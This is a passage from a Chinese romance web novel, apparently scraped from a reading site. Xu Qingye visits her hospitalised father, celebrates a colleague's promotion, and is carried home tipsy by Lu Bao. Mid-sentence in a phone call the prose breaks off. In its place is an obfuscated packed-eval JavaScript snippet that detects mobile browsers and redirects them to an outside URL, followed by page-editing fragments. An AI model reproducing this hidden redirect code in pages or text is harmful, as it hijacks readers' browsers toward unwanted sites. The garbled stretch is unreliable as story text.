小也跟那个孩子一人一半的股份,因为许至言自愿签署的放弃协议,所以股份全部转到了小也名下。 小也那时在江城人民医院跟她说的话,她每一个字都有好好地听进去。 许清也还没反应过来,两位女士就挽着手上楼了。 她湿着眼眶抬了抬下巴,把泪意憋回去,看了眼时间,才着急地朝楼下跑。 顺着小区的窄路一口气跑到大门口那条沿街路,经过宠物店门口的时候,许清也耳边忽然响起一声喇叭声。 她气恼地一回头,就对上了男人那双闪着笑意的深眸。 “许小姐,上车吧?” 路薄早摇下了副驾驶座的窗户,敲了敲车窗框。 许清也来不及跟他贫嘴,一边拉开车门,一边惊讶地问: “你还没去上班吗?” “休息日,要带芝士去复查。” 他似乎对许清也还搞不清楚他休息日的事情颇有点委屈,故意不看她补充道: “看时间还早,就去洗了个车再来接你。” 许清也这才注意到后座宠物包里乖乖待着的芝士。 她系好安全带,伸长胳膊到后座摸了摸芝士的脑袋,用一种跟幼稚园小朋友说话的声音道: “原来出门了呀,怪不得姐姐早上没看到你呢。” 听到她的自称,路薄轻皱了皱眉,不知道她是从哪学来的自称,不满地问: “你是它姐姐,那我是什么?” 姐夫俩个字堵在喉间,就被许清也的话噎得死死的。 “当然是哥哥喽。”她收回手还他一个挑眉,“难不成你还想当叔叔?” 路薄无奈地弯唇,轻笑声带着气音。 许清也对着镜子整理了会儿头发,指着前面转弯的地方道: “准备就绪,gogo!” “出发!” 路薄适时地顺着她的话转动整圈方向盘,余光看见女孩微红的眼眶。 感受到她全无阴霾的情绪,他终于轻笑出声,抬眸朝她飞快地敬了个礼。 “遵命,myrosePrincess!” “前方到站,江城人民医院!” 74. 仅此一份的爱 “小姐。” 照顾许民辉的护工是在许家工作了很多年的阿姨,算是看着许清也长大的,这么多年对她的称呼一直都没变。 “吴阿姨。” 许清也点点头关上了病房门。 即便许民辉住的是顶楼的vip病房,医院的布置总是带着一种利落的冰冷感。她花了很多时间才接受,躺在那张宽大的病床上安静瘦削的人,会是记忆中说一不二的父亲。 “可能是心里知道小姐和少爷今天要来,医生说先生今天各项状态都不错。” 吴阿姨拿着水果去了洗手池边。 许清也替许民辉掖被角的动作一顿,不经意地问: “许至言今天也要过来吗?” 洗手间淅淅沥沥的水声模糊盖住吴阿姨的声音,许清也听不清,干脆提高声音重复问了一句。 “少爷吗?”吴阿姨端着洗好的苹果,疑惑道,“少爷刚刚才出去,小姐你来的时候没碰上他吗?” …… 从盐湖山回到江城后,许清也就再也没见过许至言。 医院、许氏集团、许至言母亲,甚至律师那边,他们有很多可能交集的地方,但许清也一次也没有碰上过他。 许至言,好像在刻意躲着她。 吴阿姨切好苹果,就拿着需要换洗的衣物下楼了,体贴地把病房的空间交给父女俩。 许清也站在病床前,呼吸机机械的冷光在仪器边跳动。 “我打算请职业经理人了。” 她在病床边坐下,避开目光不去看许民辉的脸。 他躺在病床上,不再穿着西装,不知道什么时候起,眼角已经多了许多细纹。供氧仪器遮住他的大半张脸,宽大的病号服显得他更瘦削苍白许多。 许清也想起他出事前打给自己的最后一通电话。 许民辉直到那时候还是把她当成一个孩子,当成只能听他的话、按部就班的“小乖”。 她应该恨他的,毕竟许民辉一次也没有信过她。 “爸。” 许清也把话说的很坚决。 “股份我会收下,但我不会去许氏的。我不合适那,那里也不是我想去的地方。” “如果您能告诉许至言,就让他来见见我吧。” 理智来说,不论是能力还是用心,比起其他职业经理人,许至言才是接管公司最佳的人选。 她握住父亲显见风霜的手,话到这里,心尖还是忍不住一酸。 明知道许民辉已经不再能回复她了,可她还是希望能让他知道。 “爸,我不恨你了,也不恨……许至言。” 尽管当年在江城大学门口看见黑色迈巴赫后座的许民辉,看见曾以为是贫困学弟的许至言喊着“爸”,坐上那辆豪车的时候,许清也真的恨到牙根都在颤抖。 但时间好像真的是一剂良药。 一个人获得的爱足够多的时候,竟然真会淹没掉很多的恨。 刻在海滩上的印痕,就算再深,潮水一次又一次冲刷,也会有了无痕迹的时候。 许清也不想再困在无尽的仇恨与悲观当中了。 因为有人已经告诉她,她值得仅此一份的爱和等待。 ——— 许清也离开印刷厂的时候已经接近傍晚了。 小栗背着超大的托特包,齐朔阳跟在两人身后,收拾着镜头。 “终于结束啦!” 许清也狠狠伸了个懒腰,转身伸出手,跟身后的两人一一击掌。 “走,姐请你们吃饭去。” 她笑着摇了摇手机,唇边甜甜的酒窝若隐若现。 小栗小跑两步跟上她的步子,亲昵地拉了拉许清也的胳膊。 “清也姐,真不用了。” “说好来帮忙的,对吧小齐?” 齐朔阳忽然被点名,扶了扶眼镜跟着点头。 “帮忙也是有报酬的,”许清也这点整理的很清楚,他们休息日还跑过来帮忙是出于情分,她不能真的当做理所当然对待,“哎呀,你俩就走吧。” “保证带你们去一家吃一次就忘不了的宝藏餐厅。” 她故作俏皮地眨了眨眼,挽着小栗往前走。 秋天的天色变得快,一瞬之间就彻底变暗。路边沿排的路灯顺着亮起,前不久挂起的小国旗被晚风吹在风中极速飘动,成排的车灯就像陆地上的群星,接连亮起。 “清也姐!” 齐朔阳忽然停住脚步,喊了声前面的两人。 “这里的夜景还挺好看的,你们要不要拍张照?” 他不好意思地摸着后脑勺,带着点点欣喜道: “我收到消息转正了,新买的镜头还没‘开张’过。” 走在前面的两个女孩同时回头,瞪着眼睛讨伐: “什么时候的事?!” “你小子,这么大的好消息竟然憋到现在?” 许清也掏出手机就要打电话。 “不行,那咱们得去个更高级的地方吃饭,庆祝好消息。” 小栗拖着许清也的胳膊站到天桥边的栏杆边,指着镜头道: “这个一会儿再说,清也姐,咱俩先拍一张。” 齐朔阳被俩人激动的反应镇住了,直到听见小栗的话,才急匆匆举起相机,喊道: “好了吗?” “三、二、一。” 在天桥上拍的照片在路上就传到了许清也手机上。 吃饭的时候,许清也忍不住点开手机看了好几次。 单独拍的那一张,照片里的她穿着小香风的职业套装,靠在天桥的栏杆上,背后是川流闪烁的车灯,晚风吹起她的刘海,露出她饱满小巧的额头,精致的眉眼在夜灯下显得更色彩分明,明艳动人。 相似的动作和构图,让她忍不住想起一张被她弄丢过许久的老照片。 “清也姐,要不我回头多洗几张这张照片给你吧?” 齐朔阳察觉到她情绪复杂的眼神,小声问。 自从上次的“抄袭”事件后,他就一直觉得对许清也有愧疚。如果不是小栗偷偷拷走过素材,他可能真的因为自己自以为是的判断,让一个无辜的人背负莫须有的罪名。 可惜许清也自从那次事件后就辞职了,他也一直没有什么机会补偿。 好不容易听说她打算自己出版天气画册,齐朔阳第一个悄悄从小栗那边问,他能不能也过来帮忙。 许清也晚上一不小心多喝了几杯酒,酒精作用着她的思绪,花了几秒钟才理清齐朔阳的意思。 齐朔阳眼里偶然浮现的愧疚然她有一瞬间慌神,想起了跟他年龄相仿的许至言。 那小子从前像个牛皮糖一样,黏上了就太难分开。没想到也会有连人影都见不到的一天。 “当然好啊。” 她笑着点了点头,心里盘算着回头也要把高中时候那张照片洗出来。 饭局到最后,时间已经有点晚了。 许清也替两人叫了出租车,嘱咐齐朔阳一定要先把小栗送到家,一个人坐到便利店里给路薄打电话。 “喂。” 男人的声音低沉温柔,像是弦乐组里负责缱绻旋律段的乐组。 “饭局结束了吗?” “嗯。” 许清也正跟从便利店里买的饮料瓶盖作斗争,打算给自己做一杯解酒的饮料。 “你喝酒了?” 路薄立刻皱眉追问,还没等许清也回答,电话那边传来一阵细小的摩擦声,应该是路薄在换衣服。 “就喝了一点点而已。” 许清也对着玻璃懒懒地比了个“一点”的手势,目光投过拇指与食指之间细小的缝隙看着玻璃外川流的车辆。 “不过,你是怎么知道我喝酒了的。” “我明明说话还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565231|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很清醒啊。” 她话音才落,就听见男人闷闷的笑声。 她大概不知道,自己喝醉酒的时候声音总是不自觉地变得懒懒地,有些音节里不自觉拖长的尾音就像是一根小小的羽毛,轻轻松松扰动别人的心湖。 路薄轻咳一声,跳过她的问题,放柔声音嘱咐她道: “外面太冷,就在那家店楼下的便利店里等我。” “很快就到。” 许清也乖乖点了点头,从鼻腔里哼出一个“嗯”。 他的很快的确从不骗人。 许清也才刚慢吞吞地调完饮料,尝了一口,抬头就隔着玻璃看见男人穿着驼色风衣的身影。 路薄显然也一眼就看见了她,径直进了便利店。 “走吧。” 他余光看见女孩悄悄脱开高跟鞋两寸的脚跟,通红的脚跟看起来已经被磨破了皮,险些就磨破到渗血了。 路薄拿开她手里的饮料放在桌上,转身背对着许清也蹲了下来。 这个点便利店的人还不少,可能正好赶上了下晚自习的点,忽然还进来了一串穿着校服的学生。 男人太大只,加上他在人群中也难以被忽视的脸,显然成了便利店里路过的人都会瞥一眼的存在。 许清也局促地左右看了一眼,拍着他的肩小声催促: “干嘛呀,你快起来。” “我很清醒,可以自己走的。” 路薄挑眉转过身,许清也以为他是听进去了,刚要松一口气,就看见男人冷白的手腕从面前晃过。 他修长的手指一捞,一手一只拎住她的高跟鞋,又转身蹲了回去。 “赶紧出发吧,这回装备都齐全了。” 男人背在身后的两只手整装待发地晃了晃,银色的高跟鞋在灯下晃了晃,许清也立马动作利落地扑上他的肩膀。 “快走快走。” 她双手揽着他的颈,把脑袋埋在他肩上,闷闷地催促。 喝醉了还这么薄脸皮。 路薄不自觉地勾起唇角,猛地起身,侧过头压低声道: “遵命。” 折腾半天,到单元楼下下车的时候,许清也早早抢过了自己的鞋子,说什么也不让路薄背。 于是他只好搀着女孩的胳膊,好让她大半的力气可以靠在自己身上。 终于打开房门,许清也忍不住甩开高跟鞋,瘫倒在柔软的沙发上。 男人显然忙的多,一般情况下,他不太受得了酒味,回家的立刻就去换回了家居服。 他今天换了件黑白色的T恤,刘海垂落在额前顺着遮住大半剑眉,显得气质青涩柔软不少。 许清也抱着抱枕靠在沙发上,压根没注意到自己豪放的靠姿和解开好几颗扣子的衬衫不小心泄露的风景。 她全部注意力都在路薄身上。 “路先生,你老实说,你的生日到底是什么时候?” 许清也忽然想起那个三番两次阻挡她认出路薄的问题。 那个对不上的生日数字。 路薄意外地挑眉,随意答道: “十二月二十五。” “记忆中,路太太好像问过一次了吧?” 他靠近了几步,眸色不动声色地暗了一瞬。 “会不会……” 许清也抱着靠枕,无意间挡住了那片莹白的风景。 “我是说有没有可能,你还有一个生日,是八月三十一?” 酒精让她失去了多余的思考能力,如果放在日常,许清也大概打死也问不出这么幼稚的问题。 谁的生日会同时是相隔着这么久远的两个日期呢? 她只是随口一问,下一瞬,头顶瞬间暗下一片。 “路太太。” 男人的声音沙哑中带着难以忽略的醋意。 “能不能解释一下,我的生日为什么非得是八月三十一?”